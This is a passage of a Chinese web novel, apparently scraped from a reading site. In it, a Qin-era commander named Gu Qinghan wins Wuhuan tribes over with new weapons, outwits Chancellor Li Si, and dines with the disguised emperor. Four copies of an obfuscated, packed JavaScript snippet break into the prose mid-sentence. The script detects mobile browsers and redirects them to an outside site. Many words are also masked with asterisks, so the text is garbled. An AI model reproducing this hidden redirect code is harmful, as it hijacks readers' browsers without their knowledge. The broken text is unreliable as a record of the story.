“文远,这位赵老伯,你怎么看?” “回主公,此人气度雍容,目光锐利,随从陆佩奇更是步履沉稳,太阳穴高高鼓起,乃是一等一的好手。其身份,绝不简单。但他对我方并无明显敌意,此次前来,更像是一场试探,或是一种……善意的提醒。” 顾清寒点点头,暂时将赵正的身份按下不表。 当务之急,是草原上的那盘棋。 他看向窗外,北方,夜色浓稠如墨。 “石猛,准备得如何了?” “回顾少,五十人已集结完毕,皆是精锐。干粮、水袋、还有您交代的小玩意儿,都已备妥。” 石猛声音沉稳,眼中带着一丝不易察觉的兴奋。 这种孤军深入,搅动风云的任务,对他而言,比正面冲杀更具挑战。 “好。记住,我们的目的是制造混乱,扶植亲近九原的势力,不必急于求成,安全第一。” 顾清寒叮嘱道,“那些小玩意儿,要用在刀刃上,让那些草原部落见识见识我破阵营的诚意。” “属下明白。” 数日后,一支五十余人的队伍,如同鬼魅般潜行在茫茫草原的边缘地带。 他们避开匈奴大部落的游骑,昼伏夜出,朝着记忆中乌桓部族的一处冬季牧场悄然靠近。 带队的石猛,一身寻常牧民打扮,脸上涂抹了草汁和泥土,只有那双眼睛,依旧锐利如鹰。 他身后的二十名破阵营老兵,个个都是潜踪匿行的高手。 而那三十名挑选出来的匈奴降卒,则显得有些复杂。 他们中,有的是真心归顺,渴望在新主子手下搏个前程; 有的则是被逼无奈,对前途感到迷茫; 还有几个,眼中藏着对冒顿刻骨的仇恨。 第118章 棋局已开,落子无悔。 第一百一十八章棋局已开,落子无悔。 “头儿,前面应该就是乌桓部族的哈丹长老的营地了。” 一名曾是冒顿麾下百夫长,如今却成了石猛向导的匈奴降卒,压低声音说道。 此人名叫巴图,曾因小错险些被冒顿处死,对冒顿早已心怀怨怼。 石猛举手,队伍无声无息地停下,潜伏在枯黄的草丛中。 远处的山坳里,隐约可见数十顶帐篷,炊烟袅袅,牛羊散布。 “巴图,你和阿古拉先过去,就说有故人来访,想与哈丹长老谈一笔关乎乌桓部族未来的大生意。”石猛沉声道。 巴图和阿古拉对视一眼,点了点头,整理了一下衣衫,朝着营地走去。 营地门口的乌桓哨兵警惕地拦住了他们。 巴图用熟练的乌桓语交涉了几句,又塞过去几块肉干,哨兵的态度才缓和下来,进去通报。 不多时,一名身材高大,满脸虬髯的乌桓汉子走了出来,正是哈丹长老。 他狐疑地打量着巴图和阿古拉:“你们是何人?自称故人,我却不认得你们。” 巴图躬身道:“哈丹长老,我们确实是您的故人派来的。我家主人,带来了能让乌桓部族摆脱困境,重振雄风的希望。” 哈丹长老眉头一皱,眼中闪过一丝警惕:“大话谁都会说。冒顿的威势,岂是轻易能动摇的?” “冒顿已是**之末,失道寡助。”巴图提高了些许音量,“我家主人说了,若长老愿意见他一面,必有厚报。” 哈丹长老沉默片刻,草原上最近的风声,他也有所耳闻。 冒顿在十里坡惨败,威望大跌,各部落人心浮动。 只是,谁敢第一个站出来挑战这头受伤的雄狮呢? “让他们进来。” 哈丹长老最终摆了摆手。 石猛带着三名亲卫,大摇大摆地走进了哈丹长老的帐篷。 其余人则在营地外围隐蔽接应。 帐内,除了哈丹,还有几名乌桓部落的头领,个个神色不善地盯着石猛。 “你就是他们的主人?” 哈丹长老目光如炬。 石猛微微一笑,也不客气,自顾自找了个位置坐下:“在下石猛,奉我家顾少之命,特来拜会哈丹长老。” “顾少?”哈丹长老眯起眼睛,“九原的顾清寒?” “正是。” 帐内气氛顿时紧张起来。 九原顾清寒,最近在草原上的名头可不小,尤其是那场十里坡大捷,更是让匈奴人闻风丧胆。 “你们汉人,黄鼠狼给鸡拜年,没安好心!” 一名年轻的乌桓头领忍不住呵斥道。 石猛也不生气,只是淡淡道:“我九原与匈奴有仇,但与乌桓部族,并无冤怨。冒顿强征暴敛,视各部勇士为草芥,此等行径,诸位难道还能忍受?” 哈丹长老沉声道:“你想说什么?” “我家顾少说了,”石猛坐直了身体,声音变得铿锵有力,“若乌桓部族愿奉我九原为宗主,共讨冒顿。事成之后,九原担保乌桓部族平安,过往被冒顿侵占的牧场、牛羊,尽数归还,甚至更多!若哪位勇士能取下冒顿首级来献,我家顾少的武库之中,任其挑选三样‘神兵’!” “神兵?”帐内众人都是一愣,随即有人嗤笑出声,“汉人的兵器,再好能好到哪里去?” 石猛不慌不忙,从怀中取出一个小巧的铁管,约莫手指粗细,上面刻着一些奇怪的纹路。 “此物,名为‘惊雷子’的引信。诸位可知九原的妖雷?” 提到妖雷,帐内众人脸色微变,那东西在十里坡造成的惨状,早已传遍草原。 “这引信,便是妖雷的关键。有了它,便能让寻常**,爆发出数倍威力。” 石猛掂了掂手中的引信,“我家顾少说了,若是诚心合作,莫说这小小引信,便是那妖雷的制造之法,也未尝不可相授。” 这一下,帐内所有人都倒吸一口凉气。 妖雷的制造之法? 这诱惑可太大了! 哈丹长老眼中精光一闪,死死盯着石猛:“你此话当真?” 石猛又从另一个包裹里,取出一柄造型奇特的短**,**臂比寻常**要宽厚许多,上面似乎有复杂的机括。 “此乃小连**,一次可装填十矢,连续发射,百步之内,寻常皮甲一射即穿。若是装备百名勇士,便是一支移动的箭雨。” 他将小连**递给离他最近的一名乌桓头领。 那头领将信将疑地接过,入手沉甸甸的,机括之精巧,让他叹为观止。 “还有这个。”石猛最后拿出一把新炼制的**,刀身在帐内昏暗的火光下依旧闪烁着迫人的寒芒。 他随手拿起旁边卫兵腰间的一柄匈奴弯刀,两刀轻轻一碰。 “锵!”一声脆响。 那柄匈奴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705792|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弯刀竟应声而断! “好刀!”帐内众人齐声惊呼。 哈丹长老的呼吸也变得粗重起来。 无论是那神秘的妖雷引信,还是威力惊人的小连**,亦或是这削铁如泥的宝刀,都让他心动不已。 若能得到这些,乌桓部族的战力,何止提升一倍? “冒顿如今众叛亲离,正是取而代之的好时机。” 石猛的声音带着蛊惑,“哈丹长老,还有诸位头领,是继续在冒顿的阴影下苟延残喘,还是与我九原联手,博一个光明未来,只在诸位一念之间。” 哈丹长老沉默了。 他看着石猛,又看了看周围头领们眼中闪烁的贪婪与渴望,心中天人交战。 良久,他深吸一口气:“此事体大,容我等商议一日。” 石猛点点头:“自然。在下便在营外等候佳音。不过,机会稍纵即逝,还望长老早做决断。毕竟,草原上对冒顿不满的部落,可不止乌桓一家。” 说完,石猛带着亲卫,从容离去。 待石猛走后,帐内顿时炸开了锅。 “长老!这可是天赐良机啊!” “有了那些神兵,我们还怕冒顿作甚!” “可是……九原汉人,真能信得过吗?” 哈丹长老一言不发,只是手指在案几上轻轻敲击着。 草原深处的狼烟,似乎已经开始悄然升起。 而始作俑者顾清寒,此刻正在九原郡守府,悠闲地逗弄着姜瞳派人送来的一只通体雪白的小猫,浑然不知他派出去的石猛,已经成功地在草原上投下了一颗重磅**。 他只知道,棋局已开,落子无悔。 石猛带着亲卫离去后,哈丹长老的帐篷内,沉寂了片刻,随即爆发出激烈的争论。 “长老!这可是千载难逢的机会啊!” 一个头顶秃鹰羽毛,面容剽悍的年轻头领霍然起身,语气激动,“冒顿倒行逆施,早失人心!我们何必再看他脸色行事?” “阿**,你太年轻了!” 另一位胡须花白的老者摇头,“汉人狡诈,谁知他们是不是想借刀**,让我们和冒顿两败俱伤,他们好坐收渔利?那顾清寒,听说比狐狸还精。” “怕什么!”阿**涨红了脸,“那石猛拿出的东西,你们也都瞧见了。惊雷子的引信,小连**。还有那削铁如泥的宝刀!若能得到这些,我们乌桓部族的勇士,何惧匈奴铁骑!” 第119章 利锁草原心 巧匠献神机 第一百一十九章利锁草原心巧匠献神机 “可一旦失败,我乌桓部族便是万劫不复!”老者痛心疾首。 帐内众人分作两派,争执不休。 有的被那神兵的诱惑烧红了眼,恨不得立刻答应石猛; 有的则顾虑重重,深怕一步踏错,引来灭族之祸。 哈丹长老始终一言不发,枯槁的手指在粗糙的兽皮地图上缓缓移动,目光在冒顿王庭和九原郡之间来回逡巡。 石猛的话,如同一块巨石投入他本已不平静的心湖。 冒顿的压榨,九原的崛起,草原上微妙的局势…… 他比任何人都清楚。 良久,他抬起头,浑浊的眼中闪过一丝决断:“都别吵了。此事,干系重大,不是一两句话能定下的。阿**,你带几个信得过的人,悄悄跟上那石猛,看看他们是否真有诚意,还是另有图谋。其余人,约束好部众,没有我的命令,不得轻举妄动。” “长老英明!”众人纷纷应道。 阿**眼中虽有不甘,但也知道这是稳妥之举。 九原郡,郡守府。 顾清寒斜倚在榻上,一只雪白的小猫在他膝头蜷成一团,发出满足的呼噜声。 这是姜瞳前几日特意从梧桐村送来的,说是解他军旅劳顿。 他修长的手指轻轻搔着小猫的下巴,神情闲适,仿佛方才石猛离去时那番搅动草原风云的谋划,与他无关一般。 文远坐在一旁,手中捧着一卷竹简,轻声道:“主公,三川郡那边,李山河的北地义军动静不小,李由已经连发数道公文向咸阳求援,李斯在朝堂上几番提及,都被陛下轻描淡写地挡了回去。” “老狐狸想敲打小狐狸,却被小狐狸反咬一口,有趣。” 顾清寒嘴角微扬,“李山河那边,让他见好就收,别真把李由逼疯了。我们的目的是恶心李斯,顺便练练兵,不是真要在三川郡扎根。” “属下明白。”文远顿了顿,“只是,那位赵正老伯……主公,他送来的礼物,可不像是寻常商贾的手笔。” 顾清寒抚摸猫咪的动作一滞,随即笑道:“《孙子兵法》、《吴子兵法》的孤本,上等的湖笔徽墨。这位赵老伯,学问不浅,眼光也毒。他若只是个普通商贾,我倒要怀疑梧桐村的米是不是用金子种的了。” 他眼中掠过一丝深思,这赵正的目的,他一时还看不透,但直觉告诉他,此人对他并无恶意,甚至隐隐有提携之意? “先不管他。只要他不妨碍我九原的大计,多个朋友,总比多个敌人好。” “顾少!顾少!” 牛辅的大嗓门由远及近,人未到,声先至。 下一刻,他蒲扇般的大手推开虚掩的房门,兴冲冲地进来,瞧见顾清寒膝上的猫,咧嘴一笑:“嘿,这小东西,倒是会挑地方。” “何事这般喧哗?”顾清寒瞥了他一眼。 “顾少,新招的那三千兵,已经操练得有模有样了!” 牛辅拍着胸脯,一脸得意,“尤其是几个从匈奴降卒里挑出来的,那骑射功夫,啧啧,一点不比咱们破阵营的老人差!就是……就是有几个不长眼的,昨儿个又想偷摸出营去快活,被俺老牛抓个正着,吊起来打了一顿,现在都老实了!” 顾清寒失笑:“你啊,练兵是把好手,这管教人的法子,也得多学学。赏罚分明,恩威并施,才能让他们真正归心。” “顾少说的是!”牛辅挠挠头,随即又兴奋道,“对了顾少,您上次说的那什么……什么‘**’,公输大匠他们好像捣鼓出点名堂了!” 话音未落,公输墨带着几名工匠,如同打了鸡血一般,捧着一个黑乎乎的陶罐冲了进来,脸上满是狂热。 “顾将军!成了!成了!”公输墨胡子抖动,声音都带着颤音,“您看这个!按照您给的那个‘**’的思路,我们用陶罐做了外壳,里面填充了您说的猛**和碎铁片,引信也做了改良!” 他小心翼翼地将那陶罐放在地上,仿佛是什么稀世珍宝:“此物虽小,但若是投掷出去,方圆数丈之内,人马难当!我们称之为‘震天雷’!比之前那只能埋在地下的‘**’,用处可大多了!” 顾清寒拿起那“震天雷”,入手沉甸甸的,表面粗糙,却透着一股令人心悸的危险气息。 这东西,不就是简易版的**么? “好!好一个震天雷!”顾清寒眼中精光一闪,“公输大匠,你们真是我的左膀右臂!此物若是能量产,我破阵营攻城拔寨,又添一利器!” “这都仰仗将军的奇思妙想!”公输墨与众工匠与有荣焉,看向顾清寒的眼神,简直像在看神明。 “将军,”一名工匠补充道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705793|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“还有您说的那个‘水力锻锤’,我们已经造出了模型,若是能配上足够的水力,锻打钢锭,效率能提升十倍不止!到时候,咱们破阵营的兵器铠甲,都能用上最好的精钢!” “好!需要什么,尽管开口!” 顾清寒大笑,心中的豪情如烈火烹油。 兵甲犀利,粮草充盈,人才济济,这北疆,他要定了! 与此同时,乌桓部族的营地内,哈丹长老也做出了决定。 “石猛所言,并非没有道理。”他环视帐内诸位头领,“冒顿已失人心,草原各部,皆有怨言。我乌桓部族,不能永远屈居人下。” 他深吸一口气:“阿**,你明日亲自带上一队人马,护送我族十名最勇猛的少年,以及牛羊百头,前往九原。告诉顾清寒,我乌桓部族,愿与九原结盟,共讨冒顿!但,他许诺的‘神兵’,我们要先看到诚意!” “长老!”阿**大喜过望。 “此事,需秘密进行,不可走漏风声。”哈丹长老的目光变得锐利起来,“草原的未来,或许就在此一举了。” 夜色渐浓,顾清寒送走兴奋不已的公输墨等人,独自回到书房。 膝上的白猫已经睡熟,发出轻微的鼾声。 他看着窗外深邃的夜空,嘴角勾起一抹莫测的笑容。 草原上的棋子,已经动了。 李斯那边,也该收到些惊喜了。 “文远,传令下去,”他淡淡开口,“让李山河再给三川郡加把火。就说……北地义军听闻李由太守府库充盈,欲借粮草,以济万民。” “主公,”文远眼中闪过一丝笑意,“这是要逼李斯狗急跳墙?” “不,”顾清寒轻轻摇头,手指在沙盘上,从九原划向咸阳,“我是要让他知道,这盘棋,我顾清寒,才是执棋人。” 北疆的风,愈发凛冽了。 而九原城这颗看似偏安一隅的棋子,却在悄然间,撬动了整个大秦北方的格局。 他仿佛已经看到,不久的将来,无数的资源、人才,都将如百川归海般,汇聚于此。 而他,将在这里,打造出一个足以颠覆天下的力量。 顾清寒眼神微眯,或许,该找个机会,再和赵老伯好好聊聊,探探他的底细了。 说不定,还能从他那里,再“借”些好东西过来。 第120章 赵老伯的生意经 第一百二十章赵老伯的生意经 数日后,九原郡城门外,一队风尘仆仆的乌桓骑士勒住了马。 为首的阿**,年轻的面庞上带着草原人的悍勇与一丝不易察觉的紧张。 他望着眼前这座与草原部落截然不同的城池,心中百感交集。 城墙虽不如传说中咸阳那般高耸入云,却也坚固厚重,城门口往来的百姓、商贩,虽衣着朴素,却不显惊惶,反而透着一股安稳。 “阿**头领,咱们……真要进去?” 一名随行的乌桓少年小声问道,眼中满是忐忑。 阿**深吸一口气,压下心中的不安:“长老的命令,必须执行。走,去见见那位顾右庶长。” 通报之后,他们被引至郡守府。 府内布置简洁,却处处透着一股肃杀之气。 校场上传来的阵阵操练呼喝声,更是让他们心头一凛。 顾清寒在书房接见了他们。 他依旧是一身寻常布衣,膝上那只雪白的小猫懒洋洋地打了个哈欠,瞥了眼进来的生人,又自顾自地舔起了爪子。 “乌桓的勇士,远道而来,辛苦了。” 顾清寒的语气平和,仿佛只是在招待邻家串门的客人。 阿**将带来的礼物,几张上好的狼皮和一袋草原特产的肉干呈上,躬身道:“乌桓部族阿**,奉哈丹长老之命,拜见顾右庶长。我族愿与九原结盟,共讨冒顿。只是……哈丹长老想先看看右庶长许诺的神兵,以安族人之心。” 顾清寒微微一笑,这哈丹老头,倒也谨慎。 “诚意,自然是有的。”他放下手中的茶杯,“牛辅,带阿**头领和几位勇士,去咱们的‘新铁匠铺’瞧瞧,再让他们见识一下‘震天雷’的威力。” “得嘞!”牛辅咧嘴一笑,对阿**做了个“请”的手势,“几位,跟我来,保证让你们开眼!” 阿**等人将信将疑地跟着牛辅来到城外一处戒备森严的营地。 只见几座新建的冶炼炉火光熊熊,工匠们挥汗如雨。 牛辅让人取来一把乌桓人常用的弯刀,又拿起一把破阵营新炼制的**。 “看好了!”牛辅大喝一声,两刀相击。 “当啷!”一声脆响,乌桓弯刀应声断为两截,断口平滑如镜。 阿**等人倒吸一口凉气,眼中满是震惊。 这汉人的刀,竟锋利至此! 随后,牛辅又让人取来几个黑乎乎的陶罐,点燃引线,远远扔进一片空地。 “轰!轰隆!” 几声巨响,碎石泥土漫天飞溅,地面被炸出几个大坑。 那**的威力,即便隔着老远,也让阿**等人感到心惊肉跳。 “这……这就是震天雷?”阿**声音都有些发颤。 牛辅得意地拍了拍胸脯:“这还只是小场面!我家顾少说了,只要咱们真心结盟,以后还有更好更厉害的家伙!” 阿**等人面面相觑,心中的最后一丝疑虑也烟消云散。 有此等神兵利器相助,何愁冒顿不灭! 回到郡守府,阿**“噗通”一声单膝跪地:“顾右庶长神威!我乌桓部族,愿奉九原为主,共讨冒顿,万死不辞!” 顾清寒伸手将他扶起:“阿**头领快快请起。你带来的十名少年勇士,我会让他们加入破阵营最好的斥候队,学习我军战法。至于百头牛羊,我九原心领了,但盟友之间,无需如此客气。你们回去告诉哈丹长老,待时机成熟,我会派人联络。此战若胜,乌桓部族当为首功。” 他顿了顿,又道:“这几枚震天雷,你带回去给哈丹长老,算是我的一点心意。” 阿**接过那几枚沉甸甸的陶罐,如获至宝,激动得无以复加。 送走心满意足的乌桓使者,顾清寒嘴角勾起一抹笑意。 草原上的棋子,已经活了。 “文远,李山河那边,可以再添把柴了。” 文远会意:“主公是想……?” “就说北地义军查到三川郡守李由私吞赈灾粮款,义军决定‘替天行道’,开仓放粮。” 顾清寒眼中闪过一丝戏谑,“动静闹大点,让咸阳城里的李斯老儿,也尝尝焦头烂额的滋味。” 文远忍俊不禁:“如此一来,李由怕是要被他父亲活剥了皮。” “那可不关我的事。”顾清寒端起茶杯,悠然自得。 是夜,顾清寒特意备了些九原本地的野味和几坛从赏赐中匀出来的好酒,来到了赵正下榻的客栈。 “赵老伯,些许薄礼,不成敬意。”顾清寒将食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705794|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盒放在桌上。 “清寒老弟太客气了。”化名赵正的嬴政哈哈一笑,示意陆佩奇将酒菜摆好,“愚兄正愁这九原夜长,无人对饮呢。” 酒过三巡,顾清寒状似无意地提起:“赵老伯走南闯北,见多识广。小弟我初来乍到,在这九原郡虽略有薄名,但根基尚浅。听闻老伯在关中一带颇有人脉,不知可否指点一二,让小弟也能学学这生意经,好为我九原的弟兄们多谋些福祉?” 嬴政夹了一筷子鹿肉,慢条斯理地嚼着,浑浊的老眼中闪过一丝不易察觉的精光。 这小子,终于按捺不住,想探他的底了。 “清寒老弟年轻有为,已是人中龙凤,何须老朽指点。” 嬴政放下筷子,笑道,“不过,老朽痴长几岁,倒也有些浅见。做生意嘛,最紧要的是什么?是货源,是销路,更是人脉。九原地处边陲,看似贫瘠,实则大有可为。 北接草原,皮**、牛羊、良马,皆是上等货源。南通关中,丝绸、瓷器、盐铁,又是紧俏商品。若能打通这南北商路,何愁不能日进斗金?” 他顿了顿,意味深长地看了顾清寒一眼:“只是,这商路之上,豺狼虎豹可不少。没有足够的实力,再好的生意,也怕是竹篮打水一场空啊。” 顾清寒心中一动,这赵老伯,话里有话啊。 “老伯所言极是。”顾清寒顺着他的话头,“小弟也正为此事烦恼。我破阵营虽有数千弟兄,但终究兵力有限,要护住这九原一地已是不易,更遑论打通商路。若是……若是有位德高望重,财力雄厚的前辈肯出资相助,小弟愿以九原未来商路三成利相报,并奉为上宾。” 他这是在试探,也是在画饼。 若是这赵正真有背景,或许能拉他入伙。 嬴政闻言,抚须而笑,眼中却闪过一丝复杂。 这小子,胃口倒是不小,竟想拉他这个皇帝来投资他的**大业? “清寒老弟有此雄心,老朽佩服。”嬴政端起酒杯,“只是老朽年事已高,早已无心经营。不过,老朽倒是认识几位关中的大粮商、大铁商,若老弟信得过,老朽可以代为引荐一二。 至于出资嘛……老朽这里还有些许薄产,若老弟真有把握将九原经营得风生水起,老朽投个三五十万钱,博个**,倒也无妨。” 第121章 **怒火三丈 第一百二十一章**怒火三丈 三五十万钱! 顾清寒心中一震。 寻常富商,能拿出这个数目的流动资金,已是了不得。 这赵老伯,果然深藏不露。 “如此,便多谢赵老伯了!”顾清寒举杯,“小弟敬老伯一杯!” 两人又推杯换盏,聊了些生意场上的奇闻异事,气氛倒也融洽。 待顾清寒告辞离去,陆佩奇才低声道:“陛下,这顾清寒……胆子也太大了,竟还想拉您入伙。” 嬴政看着杯中残酒,嘴角勾起一抹无人能懂的笑意:“这小子是块璞玉,也是一匹烈马。朕倒要看看,他能给朕折腾出多大的惊喜来。三五十万钱,就当是给他的玩具添点彩头吧。” 他眼中闪过一丝期待,这九原,或许真能成为他大秦北疆的一颗定海神针,甚至是一把出鞘的利剑。 而顾清寒回到郡守府,心中也是波澜起伏。 这赵正,究竟是何方神圣? 随口便是三五十万钱,还认识关中的大粮商、大铁商。 看来,他这步棋,或许歪打正着,钓到了一条意想不到的大鱼。 “文远,去查查,最近咸阳可有什么大人物告假,或是微服私访的。”顾清寒沉吟道。 “主公是怀疑……” “防人之心不可无。”顾清寒眼中闪过一丝警惕,“这位赵老伯,太不简单了。” 北疆的风,似乎更加诡谲了。 而九原这颗新星,正在以一种所有人都始料未及的方式,搅动着整个大秦的未来。 九原郡守府,书房内。 顾清寒指尖轻点着膝上白猫的额头,听着文远的禀报。 “主公,三川郡那边,李山河依计行事,‘北地义军开仓放粮,李太守私吞赈灾款项,义军替天行道’的歌谣,已经传遍了街头巷尾。李由府邸的门槛,据说快被那些闻讯而来、真假难辨的‘饥民’踏平了。” 文远嘴角噙着一丝笑意。 顾清寒轻笑一声:“李斯老儿在咸阳,怕是连胡子都要气歪了吧?” “何止,”文远忍着笑,“咸阳密报,丞相府这几日摔坏的珍玩器皿,怕是比得上九原一月的用度了。李斯在朝堂上数次痛斥三川郡匪患猖獗,请求陛下发兵清剿,都被陛下以‘地方郡守失职,理应自行处置,莫非朕的郡守连区区流寇都弹压不住’为由,轻飘飘地挡了回去。” “陛下这是明摆着要看李斯的热闹。”顾清寒对此心知肚明。 那位高**的皇帝,心思深沉,绝非易与之辈。 文远话锋一转:“关于那位赵正老伯……属下查遍了近来咸阳告假或微服出行的重臣,皆无此人。倒是有个消息,不知是否相关。” “哦?” “陛下前些时日,曾以体恤北疆将士为由,从内帑拨付了五十万钱,交由少府监采买物资,送往九原。只是这批物资,似乎并未通过正常的军需渠道。” 顾清寒抚摸猫咪的动作微微一顿。 五十万钱? 赵老伯随口许诺的数目,与此竟有些巧合。 难道…… “主公是怀疑,那位赵老伯与此事有关?” “说不准。”顾清寒摇摇头,“这位赵老伯,出手阔绰,见识不凡,绝非寻常商贾。他若真是陛下派来的人,那他接近我的目的,就值得玩味了。他那三五十万钱的投资,莫非真是陛下的手笔?” “若真是如此,陛下对主公的看重,可就非同一般了。” 文远语气中带着几分凝重。 “看重,还是试探,亦或是……捧杀?” 顾清寒眼中闪过一丝冷芒,“不管他是谁,只要他不妨碍我九原的大计,我便陪他玩玩。继续留意他的动向,但切记,不可打草惊蛇。” “属下明白。” 此刻的咸阳,丞相府内,气氛压抑得几乎能滴出水来。 李斯面色铁青,手中紧攥着一封来自三川郡的加急密信,手背上青筋暴起。 信是李由派心腹送来的,字里行间充满了绝望与哀求。 “废物!一群废物!” 李斯猛地将密信拍在案上,震得茶杯都跳了起来,滚烫的茶水溅了他一手,他却恍若未觉。 “区区一股流寇,竟把他逼到如此境地!还什么北地义军开仓放粮,这是在往本相脸上抹黑!往陛下脸上抹黑!” 堂下侍立的几名幕僚噤若寒蝉,大气都不敢出。 一名幕僚小心翼翼地上前一步,低声道:“相爷,那北地义军行事诡异,专挑我等的痛处下手,其背后若无高人指点,绝无可能。依属下看,此事与九原的顾清寒,脱不了干系。” “顾清寒!”李斯咬牙切齿,眼中仿佛能喷出火来,“本相还是小觑了这个竖子!他这是要与本相不死不休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705795|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 他本想给顾清寒添些麻烦,断其羽翼,不成想反被对方牵着鼻子走,在自己的地盘上连番受辱,颜面尽失。 “相爷息怒。”另一名幕僚劝道,“如今陛下态度暧昧,我等若是再揪着三川郡之事不放,怕是会惹得陛下不快。当务之急,是尽快稳住三川郡的局面,不能再让那‘北地义军’继续猖狂下去。” 李斯猛地站起身,在书房内来回踱步,眼中闪烁着阴鸷的光芒。 “明着不行,就来暗的!他顾清寒不是在九原招兵买马,打造军械吗?本相就断了他的粮草,断了他的铁料!传令下去,严查所有通往九原郡的商路,凡是运往九原的粮草、铁器、药材,一律以‘资敌通匪’论处,格杀勿论!” “相爷,此举……怕是会引起非议,而且,万一陛下……” “陛下那边,本相自有说辞!” 李斯眼中闪过一丝狠厉,“我就不信,饿着肚子的兵,还能替他顾清寒卖命!他不是想做大吗?本相就让他尝尝釜底抽薪的滋味!” 他停下脚步,望向窗外北方,那里是顾清寒的九原郡。 “顾清寒,这盘棋,才刚刚开始。本相倒要看看,你这颗所谓的将星,能亮多久!” ...... 九原郡守府,顾清寒将睡熟的白猫轻轻放到一旁的软垫上。 窗外的月光,清冷如水。 “李斯这条老狗,终于要出阴招了。”他嘴角勾起一抹冷笑,仿佛一切尽在掌握。 断粮草? 断铁料? “文远,你说,如果我们九原自己能产铁,能种出更多的粮食,李斯老儿的脸色,会不会更难看?” 文远眼中一亮:“主公的意思是……梧桐村的那些新农具和种子,可以推广到九原了?还有公输大匠他们正在研究的高炉炼铁之法?” “正是。”顾清寒走到沙盘前,手指在九原郡的版图上轻轻划过,“北疆苦寒,但并非不毛之地。我要让这片土地,变成我顾清寒最坚实的后盾。李斯想卡我的脖子,我就自己造血生肌!” 他目光深邃,北疆的风云变幻,咸阳的暗流汹涌,似乎都已映在他心中。 “那位赵老伯,若是真有通天的背景,或许……还能从他那里,‘借’来更多的助力。” 顾清寒喃喃自语,眼中闪烁着莫名的光彩。 这盘棋,越下越有趣了。 第122章 釜底抽薪计 妙手破局时 第一百二十二章釜底抽薪计妙手破局时 不出几日,李斯釜底抽薪的毒计,便如一股寒流,迅速传到了九原。 一队从关中归来的商队,在城门口被守军拦下时,几乎人人带伤,货物被劫掠一空,只剩下几辆空荡荡的破车。 为首的管事一见到前来盘问的牛辅,便扑通一声跪倒在地,哭嚎起来。 “牛爷!完了!全完了!”管事一把鼻涕一把泪,“咱们从关中采买的铁料、药材,刚出河东地界,就被一伙官兵给劫了!他们说……说咱们是资助九原流寇,奉了丞相钧令,货物充公,人……人差点都回不来!” 消息传开,九原城中顿时人心惶惶。 不少商户忧心忡忡,担心九原被彻底封锁,断了生路。 郡守府内,气氛却异常平静。 顾清寒正慢条斯理地品着茶,听完李山河派人从三川郡传回的详细密报,脸上甚至还带着一丝笑意。 牛辅在一旁急得直搓手:“顾少,李斯那老狗这是要断咱们的根啊!没铁料,咱们的神兵利器怎么造?没药材,弟兄们受伤了怎么办?这……这可如何是好?” “慌什么。”顾清寒放下茶杯,瞥了他一眼,“天塌下来,有个高的顶着。你家顾少我,还没那么容易倒下。” 他站起身,拍了拍牛辅的肩膀:“走,带你去看看咱们真正的根基。” 两人一前一后,来到城外一片新开垦的田地。 只见数十名新兵,正两人一组,扶着一种造型奇特的曲柄犁,吆喝着耕牛,在田间来回穿梭。 那犁铧入土极深,翻起的泥土松软细碎,效率比之旧时的直辕犁,快了何止一倍。 “乖乖!”牛辅看得眼睛都直了,“顾少,这……这是您之前画的那个‘曲辕犁’?这玩意儿也太好用了!一个壮劳力一天翻的地,顶过去三五个人!照这么干,开春前咱们九原能多开垦出多少地啊!” 几个正在歇气的士兵见到顾清寒,纷纷起身行礼,脸上满是兴奋。 “顾少,您这犁真是神了!”一个黑脸膛的汉子咧嘴笑道,“俺们这些泥腿子出身的,头一回觉得种地也能这么省劲!” 顾清寒笑了笑,又带着牛辅绕到一处守卫森严的工坊区。 还未走近,便能感到一股灼人的热浪扑面而来,几座高大的冶炼炉正冒着滚滚浓烟。 公输墨正赤着上身,满头大汗地指挥着工匠们操作。 